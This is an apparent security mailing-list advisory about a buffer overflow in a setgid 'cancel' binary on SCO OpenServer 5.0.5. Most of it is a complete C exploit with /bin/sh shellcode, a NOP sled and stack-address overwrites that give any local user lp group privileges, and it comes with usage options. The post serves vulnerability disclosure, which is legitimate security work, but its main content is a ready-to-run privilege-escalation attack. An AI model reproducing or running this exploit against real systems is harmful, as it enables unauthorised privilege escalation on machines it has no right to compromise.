SCO OpenServer 5.0.5 cancel overflow

[btellier () USA NET (Brock Tellier)]

Greetings,

OK, I lied about being done with my OpenServer audit.  I have a couple of
these left over, mostly because they weren't root-compromises.

There is an overflow in /opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel
which will allow any user to gain lp privs.  Note that this is NOT an overflow
in /usr/bin/cancel or /usr/lpd/remote/cancel.

scohack:/home/btellier$ l
/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel; l /usr/bin/cancel; l
/usr/lpd/remote/cancel;
---x--s--x   1 bin      lp         57472 Jan 28  1999
/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel
---x--s--x   1 bin      lp          2604 Feb 15  1999 /usr/bin/cancel@
-rws--s--x   1 root     daemon     27504 Jan 28  1999 /usr/lpd/remote/cancel@ 
   

It is equivalent to /usr/lpd/local/cancel, but both are only sgid lp.

Brock Tellier
UNIX Systems Administrator

--- sco_cancel.c ---

/**
 ** sco_cancel.c yields egid=18(lp)
 ** Tested on SCO 5.0.5+Skunkware98
 ** 
 ** Compile gcc -o sco_cancelx.c sco_cancelx.c 
 **
 ** Brock Tellier btellier () usa net
 **       
 **/ 

#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* doble () iname com */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       
#define LEN 1500
#define NOP 0x90
                       
unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}

int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];
 
 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
        exit(0); 
 }
 else if (argc == 2){
   offset=atoi(argv[1]);
   
 }
 else if (argc == 3) {
  offset=atoi(argv[1]);
  buflen=atoi(argv[2]); 
   
 }
 else {
   offset=600;
   buflen=1200;

 }
 

addr=get_sp();

fprintf(stderr, "\nSCO 5.0.5 cancel exploit yields egid=18(lp)\n");
fprintf(stderr, "Brock Tellier btellier () webley com\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
        *(int *)&buf[i]=addr+offset;

execl("/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel", "cancel", buf,
NULL);

exit(0);
}

------

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